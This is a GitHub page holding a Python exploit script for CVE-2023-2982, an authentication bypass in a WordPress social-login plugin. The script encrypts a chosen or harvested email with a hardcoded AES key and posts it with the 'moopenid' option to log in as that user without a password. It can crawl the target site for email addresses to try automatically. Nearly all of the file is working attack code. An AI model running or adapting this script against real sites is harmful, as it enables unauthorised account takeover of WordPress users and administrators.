-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathCVE-2023-2982.py
97 lines (83 loc) · 3.71 KB
/
CVE-2023-2982.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3
import sys
import getopt
import requests
import os
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad##, unpad
import base64
import argparse
import random
import string
import requests
import json
import lxml.etree as ET
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()
passphrase = 'jMj7MEdu4wkHObiD'
# Setting User-Agent for all requests.
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
session.headers.update({'User-Agent': user_agent})
random_string = ''.join(random.choices(string.digits, k=4))
def try_login(website_url,email):
# format url
website_url = website_url.rstrip('\/') + '/'
# encrypt and encode email
cipher = AES.new(passphrase.encode('utf-8'), AES.MODE_ECB)
padded_email = pad(email.encode('utf-8'), AES.block_size)
encrypted_email = cipher.encrypt(padded_email)
encoded_email = base64.b64encode(encrypted_email).decode('utf-8')
# post moopenid
try:
response = session.post(website_url, headers={'Content-Type': 'application/x-www-form-urlencoded'},
data={'option': 'moopenid', 'email': encoded_email, 'appName': 'rlHeqZw2vrPzOiWWfCParA=='},
allow_redirects=False,verify=False,timeout=10)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
# Opening the file and replacing the desired strings
with open("login.html", 'r') as file:
file_content = file.read()
replaced_content = file_content.replace('WEBSITE_REPLACE', website_url).replace('EMAIL_REPLACE', encoded_email)
# Writing the updated content back to the file
with open("login-"+random_string+".html", 'w') as file:
file.write(replaced_content)
print("Login Worked!")
print("To Login again open login-"+random_string+".html")
os.system("open login-"+random_string+".html")
else:
print("Login Failed with "+email+"")
except requests.exceptions.RequestException as e:
print('Error occurred while logging in:', str(e))
def scan_and_extract(website_url):
#print("Crawling "+website_url+" for email addresses.")
cmd1 = "katana -kf all -u "+website_url+" -o /tmp/katana.txt"
#used this template for better email regex pattern https://github.com/panch0r3d/nuclei-templates/blob/master/email-extraction.yaml
cmd2 = "nuclei -l /tmp/katana.txt -t email-extraction.yaml -nc -nm -fr -o /tmp/nuc.txt"
print("Crawling "+website_url+" for email addresses.")
os.system(cmd1)
print("Using Nuclei to extract emails from links")
os.system(cmd2)
with open("/tmp/nuc.txt", "r") as f:
lines = f.readlines()
emails = set()
for line in lines:
matches = re.findall(r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b', line)
emails.update(matches)
with open("/tmp/nuc.txt", "w") as f:
for email in emails:
f.write(email + "\n")
try_login(website_url,email)
def main():
parser = argparse.ArgumentParser(description='CVE-2023-2982.py')
parser.add_argument('-w', '--website_url', required=True,help='Website URL')
parser.add_argument('-e', '--email',required=False, help='Email')
args = parser.parse_args()
website_url = args.website_url
email = args.email
if args.email:
try_login(website_url,email)
else:
scan_and_extract(website_url)
if __name__ == "__main__":
main()